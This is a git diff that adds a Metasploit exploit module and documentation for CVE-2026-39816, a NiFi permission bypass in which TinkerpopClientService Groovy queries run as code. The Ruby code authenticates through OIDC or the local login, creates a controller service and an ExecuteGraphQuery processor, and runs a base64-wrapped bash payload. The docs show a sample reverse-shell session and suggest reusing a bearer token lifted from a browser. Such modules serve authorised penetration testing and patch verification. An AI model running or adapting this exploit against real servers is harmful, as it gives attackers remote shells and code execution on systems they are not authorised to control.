diff --git a/documentation/modules/exploits/linux/http/apache_nifi_tinkerpop_groovy_rce.md b/documentation/modules/exploits/linux/http/apache_nifi_tinkerpop_groovy_rce.md new file mode 100644 index 0000000000000..5087d133cd35b --- /dev/null +++ b/documentation/modules/exploits/linux/http/apache_nifi_tinkerpop_groovy_rce.md @@ -0,0 +1,117 @@ +## Vulnerable Application + +Apache NiFi **2.0.0-M1** through **2.8.0** ships the `TinkerpopClientService` controller +service without the `@Restricted` annotation that carries the **Execute Code** required +permission (**CVE-2026-39816**). The service accepts a `bytecode-submission` script +submission type, and the `ExecuteGraphQuery` / `ExecuteGraphQueryRecord` processors that use +it are likewise not gated by Execute Code. The processor compiles and evaluates the configured +"Graph Query" with a local `GremlinGroovyScriptEngine` before it ever opens a connection to a +graph database, so the Groovy runs on the NiFi host as the service account. + +The practical effect is a permission bypass that becomes remote code execution. NiFi's +Restricted machinery is meant to fence off code execution behind the Execute Code policy, the +same policy that guards `ExecuteScript` and `ExecuteProcess`. Because these graph components +were never annotated, a flow author who has been explicitly denied Execute Code, but still has +read/write on a process group and on the controller, can create the service and processor and +run arbitrary Groovy anyway. The issue is fixed in **2.9.0**. + +The preconditions are: + +* the account can create controller services and processors (a normal flow author), and +* the optional graph bundle `nifi-other-graph-services-nar`, which ships + `TinkerpopClientService`, is installed. Servers without that NAR are not affected. + +NiFi 2.x secured installations have no local login and federate authentication to an external +identity provider. This module drives the standard Spring Security OIDC login the way a browser +does (authorize redirect, credential POST, callback) and comes back with the NiFi JWT, so +`USERNAME` and `PASSWORD` are OpenID Connect credentials. If you already hold a NiFi bearer +token you can skip the login and set `BEARER-TOKEN` instead. + +NiFi 2.8.0 does not advertise its version on the unauthenticated API, so `check` confirms the +NiFi API is reachable and reports `Detected` when the build is not disclosed; it returns +`Appears` only when a version in the affected range is visible. + +### Setting up a vulnerable environment + +Any Apache NiFi 2.0.0-M1 through 2.8.0 with the graph NAR installed and OIDC configured is +vulnerable. The module was developed against NiFi 2.8.0 behind Keycloak. To reproduce the +class of bug, install the optional graph bundle so `TinkerpopClientService` is present: + +``` +# from a stock NiFi 2.8.0 install +cp nifi-other-graph-services-nar-2.8.0.nar $NIFI_HOME/lib/ +``` + +Configure OIDC (`nifi.security.user.oidc.*` in `nifi.properties`) against your identity +provider, then create a flow author account and, to demonstrate the bypass, deny it the +Execute Code global policy while leaving it read/write on the root process group and the +controller. The account can still reach RCE through this module. + +## Verification Steps + +1. Start `msfconsole`. +2. `use exploit/linux/http/apache_nifi_tinkerpop_groovy_rce` +3. `set RHOSTS ` +4. `set VHOST ` if NiFi enforces a host header (common with TLS). +5. `set USERNAME ` and `set PASSWORD ` (or `set BEARER-TOKEN `). +6. If the OIDC provider is advertised under a name you cannot route to, `set KEYCLOAK_RHOST `. +7. `set LHOST ` and pick a payload, e.g. `set PAYLOAD cmd/unix/reverse_bash`. +8. `check` should report the NiFi API is reachable. +9. `run` +10. A session opens running as the NiFi service account. The controller service and processor + created during exploitation are removed on cleanup. + +## Options + +### KEYCLOAK_RHOST +Address to reach the OpenID Connect provider on when NiFi advertises it under a name that does +not resolve or route from your host (for example a container name). Left blank, the provider is +contacted at the name NiFi redirects to. Optional. + +### DELAY +Seconds to wait after scheduling the processor for the Groovy to be evaluated before cleanup +runs. Default 5. Raise it on a slow or loaded instance. + +### CONTACT_POINTS (advanced) +The `Contact Points` value set on the `TinkerpopClientService`. The service never has to reach +a real graph database for the Groovy to run, so the default `127.0.0.1` is fine; change it only +if a local policy blocks that value. + +## Scenarios + +### Apache NiFi 2.8.0 behind Keycloak OIDC + +``` +msf6 > use exploit/linux/http/apache_nifi_tinkerpop_groovy_rce +msf6 exploit(linux/http/apache_nifi_tinkerpop_groovy_rce) > set RHOSTS 172.16.10.30 +msf6 exploit(linux/http/apache_nifi_tinkerpop_groovy_rce) > set VHOST nifi.internal +msf6 exploit(linux/http/apache_nifi_tinkerpop_groovy_rce) > set USERNAME flow.author +msf6 exploit(linux/http/apache_nifi_tinkerpop_groovy_rce) > set PASSWORD Sup3rSecret! +msf6 exploit(linux/http/apache_nifi_tinkerpop_groovy_rce) > set LHOST 172.16.10.10 +msf6 exploit(linux/http/apache_nifi_tinkerpop_groovy_rce) > set PAYLOAD cmd/unix/reverse_bash +msf6 exploit(linux/http/apache_nifi_tinkerpop_groovy_rce) > run +[*] Started reverse TCP handler on 172.16.10.10:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[!] The service is running, but could not be validated. Apache NiFi reachable; version not disclosed, and exploitation also depends on the graph bundle being installed +[+] Authenticated to NiFi +[*] Authenticated identity: flow.author +[+] Created TinkerpopClientService 55287976-01a0-1000-542b-1318823eb6fc (bytecode-submission) +[+] Created ExecuteGraphQuery processor 55287ebe-01a0-1000-0977-299d7413bab0 +[*] Scheduling the processor to evaluate the Groovy payload +[*] Command shell session 1 opened (172.16.10.10:4444 -> 172.16.10.30:47686) +[+] Deleted processor 55287ebe-01a0-1000-0977-299d7413bab0 +[+] Deleted controller service 55287976-01a0-1000-542b-1318823eb6fc + +id +uid=999(nifi) gid=995(nifi) groups=995(nifi) +``` + +### Using an existing bearer token + +When you already have a NiFi JWT (for example lifted from a browser session), skip the OIDC +login: + +``` +msf6 exploit(linux/http/apache_nifi_tinkerpop_groovy_rce) > set BEARER-TOKEN eyJraWQiOi... +msf6 exploit(linux/http/apache_nifi_tinkerpop_groovy_rce) > run +``` diff --git a/modules/exploits/linux/http/apache_nifi_tinkerpop_groovy_rce.rb b/modules/exploits/linux/http/apache_nifi_tinkerpop_groovy_rce.rb new file mode 100644 index 0000000000000..786b6a6d37d52 --- /dev/null +++ b/modules/exploits/linux/http/apache_nifi_tinkerpop_groovy_rce.rb @@ -0,0 +1,444 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HTTP::Nifi + + TINKERPOP_SERVICE = 'org.apache.nifi.graph.TinkerpopClientService'.freeze + EXECUTE_GRAPH_QUERY = 'org.apache.nifi.processors.graph.ExecuteGraphQuery'.freeze + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Apache NiFi ExecuteGraphQuery Tinkerpop Groovy Remote Code Execution', + 'Description' => %q{ + The TinkerpopClientService in Apache NiFi 2.0.0-M1 through 2.8.0 is missing the + Restricted annotation that carries the Execute Code required permission + (CVE-2026-39816). The service supports a bytecode-submission script submission + type, and the ExecuteGraphQuery / ExecuteGraphQueryRecord processors that drive + it are likewise not gated by Execute Code. A flow author who has read/write on a + process group and on the controller, but who has been explicitly denied the + Execute Code permission that guards ExecuteScript and ExecuteProcess, can + therefore create a TinkerpopClientService in bytecode-submission mode and an + ExecuteGraphQuery whose Graph Query is Groovy. The Groovy is compiled and + evaluated by a local GremlinGroovyScriptEngine on the NiFi host before any graph + traversal is attempted, so it runs arbitrary code as the NiFi service account and + bypasses the Execute Code restriction. + + This module logs in through the target's login mechanism (a local + username/password provider such as single-user or LDAP, or an external OpenID + Connect provider, auto-detected from the authentication configuration), creates + the controller service and processor, and runs a command payload as the nifi + user. The optional graph bundle (nifi-other-graph-services-nar, which ships + TinkerpopClientService) must be installed; servers without it are not affected. + + Tested against Apache NiFi 2.8.0 in single-user mode and fronted by Keycloak OIDC. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'John Walker', # discovery (ZeroPath), NIFI-15800 + 'venexy ' # metasploit module + ], + 'References' => [ + ['CVE', '2026-39816'], + ['URL', 'https://lists.apache.org/thread/xnx23t6so8c674sh9f5ofz5k08rg4hcp'], + ['URL', 'https://www.openwall.com/lists/oss-security/2026/04/13/8'], + ['URL', 'https://zeropath.com/blog/nifi-cve-2026-39816-privesc-rce'], + ['URL', 'https://issues.apache.org/jira/browse/NIFI-15800'] + ], + 'DisclosureDate' => '2026-04-13', + 'Privileged' => false, + 'Targets' => [ + [ + 'Unix Command', + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Type' => :unix_cmd, + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } + } + ] + ], + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES] + } + ) + ) + + register_options( + [ + OptString.new('KEYCLOAK_RHOST', [false, 'Address to reach the OIDC provider on when NiFi advertises an unroutable name for it (default: RHOST)']), + OptInt.new('DELAY', [true, 'Seconds to wait for the Groovy to evaluate before cleaning up', 5]) + ] + ) + + register_advanced_options( + [ + OptString.new('CONTACT_POINTS', [true, 'TinkerpopClientService Contact Points value (the service never has to connect)', '127.0.0.1']) + ] + ) + end + + ## + # OpenID Connect login. When NiFi federates to an external IdP it issues no local + # token, so we walk the Spring OAuth2 login the way the browser does: NiFi + # hands us a 302 to the IdP authorize endpoint, we post the credentials to the login + # form, and follow the redirect back through NiFi's callback, which drops the NiFi JWT + # in an Authorization-Bearer cookie. The dance crosses two origins (NiFi over TLS and + # the IdP), so we keep a per-origin cookie jar and drive raw clients rather than the + # single-origin send_request_cgi. + ## + + def scheme + datastore['SSL'] ? 'https' : 'http' + end + + def nifi_vhost + datastore['VHOST'].to_s.empty? ? rhost : datastore['VHOST'] + end + + def nifi_sni + datastore['SSLServerNameIndication'].to_s.empty? ? nifi_vhost : datastore['SSLServerNameIndication'] + end + + def nifi_base + "#{scheme}://#{nifi_vhost}:#{datastore['RPORT']}" + end + + # NiFi advertises itself by its own vhost; anything else in the flow is the IdP. + def nifi_origin_host?(host) + [nifi_vhost, rhost].include?(host) + end + + def split_url(url) + m = url.match(%r{\A(https?)://([^/:]+)(?::(\d+))?(/[^?#]*)?(?:\?(.*))?\z}im) + fail_with(Failure::UnexpectedReply, "Cannot parse redirect URL: #{url}") unless m + + s = m[1].downcase + [s, m[2], (m[3] || (s == 'https' ? 443 : 80)).to_i, (m[4].to_s.empty? ? '/' : m[4]), m[5]] + end + + def oidc_jar(origin) + @jars ||= {} + @jars[origin] ||= {} + end + + def cookie_header(origin) + oidc_jar(origin).map { |name, value| "#{name}=#{value}" }.join('; ') + end + + # NiFi and Keycloak both send cookie deletions as empty-value Set-Cookie entries; mirror + # that in a per-origin jar so the Keycloak login and the NiFi callback each replay the + # right session (the callback needs NiFi's authorization-request cookie, not Keycloak's). + def store_cookies(origin, res) + res.get_cookies.split(';').each do |pair| + name, value = pair.strip.split('=', 2) + next if name.nil? || name.empty? + + if value.nil? || value.empty? + oidc_jar(origin).delete(name) + else + oidc_jar(origin)[name] = value + end + end + end + + def oidc_request(method, url, body = nil) + req_scheme, host, port, path, query = split_url(url) + ssl = (req_scheme == 'https') + origin = "#{req_scheme}://#{host}:#{port}" + full_path = query ? "#{path}?#{query}" : path + + if nifi_origin_host?(host) + chost = rhost + cport = datastore['RPORT'].to_i + sni = nifi_sni + else + chost = datastore['KEYCLOAK_RHOST'].to_s.empty? ? rhost : datastore['KEYCLOAK_RHOST'] + cport = port + sni = host + end + # Host header is just the name; Rex appends the port itself when it is non-standard. + cli = Rex::Proto::Http::Client.new(chost, cport, { 'Msf' => framework, 'MsfExploit' => self }, ssl, nil, datastore['Proxies']) + cli.set_config('vhost' => host, 'ssl_server_name_indication' => sni) + begin + cli.connect + opts = { 'method' => method, 'uri' => full_path, 'headers' => {} } + ch = cookie_header(origin) + opts['headers']['Cookie'] = ch unless ch.empty? + if body + opts['data'] = body + opts['ctype'] = 'application/x-www-form-urlencoded' + end + res = cli.send_recv(cli.request_raw(opts), 20) + ensure + cli.close + end + store_cookies(origin, res) if res + res + end + + def oidc_follow(method, url, body = nil) + res = oidc_request(method, url, body) + 12.times do + break unless res && [301, 302, 303, 307, 308].include?(res.code) + + loc = res.headers['location'] + break if loc.nil? || loc.empty? + + loc = "#{scheme}://#{nifi_vhost}:#{datastore['RPORT']}#{loc}" unless loc =~ %r{\Ahttps?://}i + res = oidc_request('GET', loc) + end + res + end + + def auth_configuration + return @auth_configuration if defined?(@auth_configuration) + + res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'nifi-api', 'authentication', 'configuration')) + @auth_configuration = (res && res.code == 200) ? (res.get_json_document['authenticationConfiguration'] || {}) : {} + end + + # True when the box federates to an external IdP (OIDC/SAML) and issues no local token. + # A local single-user/LDAP install also advertises a loginUri (its own login page), so + # externalLoginRequired is the only field that actually distinguishes the two. + def external_login? + auth_configuration['externalLoginRequired'] == true + end + + def discover_login_uri + uri = auth_configuration['loginUri'] + uri.to_s.empty? ? "#{nifi_base}/nifi-api/oauth2/authorization/consumer" : uri + end + + # Local username/password login (single-user or an LDAP/Kerberos login-identity + # provider). NiFi returns the JWT as the plain-text response body. + def local_token_login + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'nifi-api', 'access', 'token'), + 'ctype' => 'application/x-www-form-urlencoded', + 'vars_post' => { 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] } + ) + fail_with(Failure::NoAccess, "Local login failed (HTTP #{res ? res.code : 'n/a'}); check USERNAME/PASSWORD") unless res&.code == 201 + res.body.to_s.strip + end + + def form_action(html) + return nil if html.nil? + + m = html.match(/]*\baction="([^"]+)"/im) + m && m[1].gsub('&', '&') + end + + def oidc_login + @jars = {} + login_uri = discover_login_uri + vprint_status("OIDC login initiation: #{login_uri}") + + res = oidc_follow('GET', login_uri) + fail_with(Failure::Unreachable, 'No response while starting the OIDC login') if res.nil? + + action = form_action(res.body) + fail_with(Failure::NotFound, "No IdP login form after OIDC initiation (HTTP #{res.code}); check the OIDC configuration") if action.nil? + action = "#{scheme}://#{nifi_vhost}:#{datastore['RPORT']}#{action}" unless action =~ %r{\Ahttps?://}i + + body = "username=#{CGI.escape(datastore['USERNAME'])}&password=#{CGI.escape(datastore['PASSWORD'])}" + oidc_follow('POST', action, body) + + names = %w[__Secure-Authorization-Bearer __Host-Authorization-Bearer Authorization-Bearer] + token = (@jars || {}).values.map { |j| names.map { |n| j[n] }.compact.first }.compact.first + if token.to_s.empty? + seen = (@jars || {}).values.flat_map(&:keys).uniq.join(', ') + fail_with(Failure::NoAccess, "OIDC completed but NiFi issued no bearer cookie (bad credentials or unapproved account?). Cookies seen: #{seen}") + end + token + end + + ## + # Authenticated NiFi REST API (single origin, bearer). Reuses the framework NiFi mixin + # for the read-only lookups. + ## + + def nifi_api(method, path, body: nil, qs: nil) + opts = { + 'method' => method, + 'uri' => normalize_uri(target_uri.path, 'nifi-api', path), + 'headers' => { 'Authorization' => "Bearer #{@token}" } + } + opts['vars_get'] = qs if qs + if body + opts['ctype'] = 'application/json' + opts['data'] = body.to_json + end + send_request_cgi(opts) + end + + def entity_revision(kind, id) + res = nifi_api('GET', "#{kind}/#{id}") + return nil unless res&.code == 200 + + res.get_json_document['revision'] + end + + def create_tinkerpop_service(root) + body = { + 'revision' => { 'version' => 0 }, + 'component' => { + 'type' => TINKERPOP_SERVICE, + 'name' => Rex::Text.rand_text_alphanumeric(8..12), + 'properties' => { + 'Script Submission Type' => 'bytecode-submission', + 'Settings Specification' => 'service-settings', + 'Contact Points' => datastore['CONTACT_POINTS'], + 'Port' => '8182', + 'Path' => '/gremlin' + } + } + } + res = nifi_api('POST', "process-groups/#{root}/controller-services", body: body) + unless res&.code == 201 + fail_with(Failure::NoAccess, "Could not create the TinkerpopClientService (HTTP #{res ? res.code : 'n/a'}); the account may lack controller access or the graph bundle is not installed") + end + doc = res.get_json_document + [doc['id'], doc['revision']] + end + + def enable_service(id, revision) + nifi_api('PUT', "controller-services/#{id}/run-status", body: { 'revision' => revision, 'state' => 'ENABLED', 'disconnectedNodeAcknowledged' => false }) + # bytecode-submission evaluates the Groovy locally even if the graph never connects, + # so an ENABLING/DISABLED service is not fatal; give it a moment, then press on. + 30.times do + state = entity_revision('controller-services', id) && nifi_api('GET', "controller-services/#{id}").get_json_document.dig('component', 'state') + break if state == 'ENABLED' + + sleep 1 + end + end + + def create_graph_processor(root, service_id) + body = { + 'revision' => { 'version' => 0 }, + 'component' => { + 'type' => EXECUTE_GRAPH_QUERY, + 'name' => Rex::Text.rand_text_alphanumeric(8..12), + 'position' => { 'x' => 0, 'y' => 0 }, + 'config' => { + 'properties' => { 'Client Service' => service_id, 'Graph Query' => groovy_payload }, + 'autoTerminatedRelationships' => %w[success failure original], + 'schedulingPeriod' => '3600 sec' + } + } + } + res = nifi_api('POST', "process-groups/#{root}/processors", body: body) + unless res&.code == 201 + fail_with(Failure::UnexpectedReply, "Could not create the ExecuteGraphQuery processor (HTTP #{res ? res.code : 'n/a'})") + end + doc = res.get_json_document + [doc['id'], doc['revision']] + end + + # Groovy evaluated by the processor's local GremlinGroovyScriptEngine before any graph + # traversal. base64 keeps the payload free of quotes and $ so it can't perturb the + # Groovy string or GString handling; the last expression is the query result NiFi wants. + def groovy_payload + cmd = "echo #{Base64.strict_encode64(payload.encoded)} | base64 -d | bash" + %(["bash","-c",#{cmd.to_json}].execute()\ndef result = new HashMap(); result.put("status","ok"); result\n) + end + + def check + res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'nifi-api', 'authentication', 'configuration')) + return CheckCode::Unknown('No response from the NiFi API') if res.nil? + return CheckCode::Safe("Unexpected response (HTTP #{res.code}); target may not be Apache NiFi") unless res.code == 200 + + conf = res.get_json_document['authenticationConfiguration'] + return CheckCode::Safe('NiFi API reachable but returned no authentication configuration') if conf.nil? + + version = get_version + if version + if version >= Rex::Version.new('2.0.0') && version < Rex::Version.new('2.9.0') + return CheckCode::Appears("Apache NiFi #{version}") + end + + return CheckCode::Safe("Apache NiFi #{version} is outside the affected 2.0.0 - 2.8.0 range") + end + + CheckCode::Detected('Apache NiFi reachable; version not disclosed, and exploitation also depends on the graph bundle being installed') + end + + def exploit + if datastore['BEARER-TOKEN'].to_s.empty? && (datastore['USERNAME'].to_s.empty? || datastore['PASSWORD'].to_s.empty?) + fail_with(Failure::BadConfig, 'Authentication is required: set USERNAME and PASSWORD, or supply BEARER-TOKEN') + end + + @token = + if !datastore['BEARER-TOKEN'].to_s.empty? + datastore['BEARER-TOKEN'] + elsif external_login? + oidc_login + else + local_token_login + end + print_good('Authenticated to NiFi') + + who = nifi_api('GET', 'flow/current-user') + if who&.code == 200 + identity = who.get_json_document['identity'] + print_status("Authenticated identity: #{identity}") unless identity.to_s.empty? + end + + root = fetch_root_process_group(@token) + fail_with(Failure::UnexpectedReply, 'Could not read the root process group; the account may lack flow access') if root.nil? + vprint_good("Root process group: #{root}") + + @service_id, service_revision = create_tinkerpop_service(root) + print_good("Created TinkerpopClientService #{@service_id} (bytecode-submission)") + enable_service(@service_id, service_revision) + + @processor_id, processor_revision = create_graph_processor(root, @service_id) + print_good("Created ExecuteGraphQuery processor #{@processor_id}") + + print_status('Scheduling the processor to evaluate the Groovy payload') + nifi_api('PUT', "processors/#{@processor_id}/run-status", body: { 'revision' => processor_revision, 'state' => 'RUNNING', 'disconnectedNodeAcknowledged' => false }) + + sleep(datastore['DELAY']) + end + + def cleanup + super + return unless @token + + if @processor_id + rev = entity_revision('processors', @processor_id) + if rev + nifi_api('PUT', "processors/#{@processor_id}/run-status", body: { 'revision' => rev, 'state' => 'STOPPED', 'disconnectedNodeAcknowledged' => false }) + nifi_api('DELETE', "processors/#{@processor_id}/threads") + sleep 1 + rev = entity_revision('processors', @processor_id) || rev + nifi_api('DELETE', "processors/#{@processor_id}", qs: { 'version' => rev['version'] }) + vprint_good("Deleted processor #{@processor_id}") + end + end + + return unless @service_id + + rev = entity_revision('controller-services', @service_id) + return if rev.nil? + + nifi_api('PUT', "controller-services/#{@service_id}/run-status", body: { 'revision' => rev, 'state' => 'DISABLED', 'disconnectedNodeAcknowledged' => false }) + sleep 2 + rev = entity_revision('controller-services', @service_id) || rev + nifi_api('DELETE', "controller-services/#{@service_id}", qs: { 'version' => rev['version'] }) + vprint_good("Deleted controller service #{@service_id}") + end +end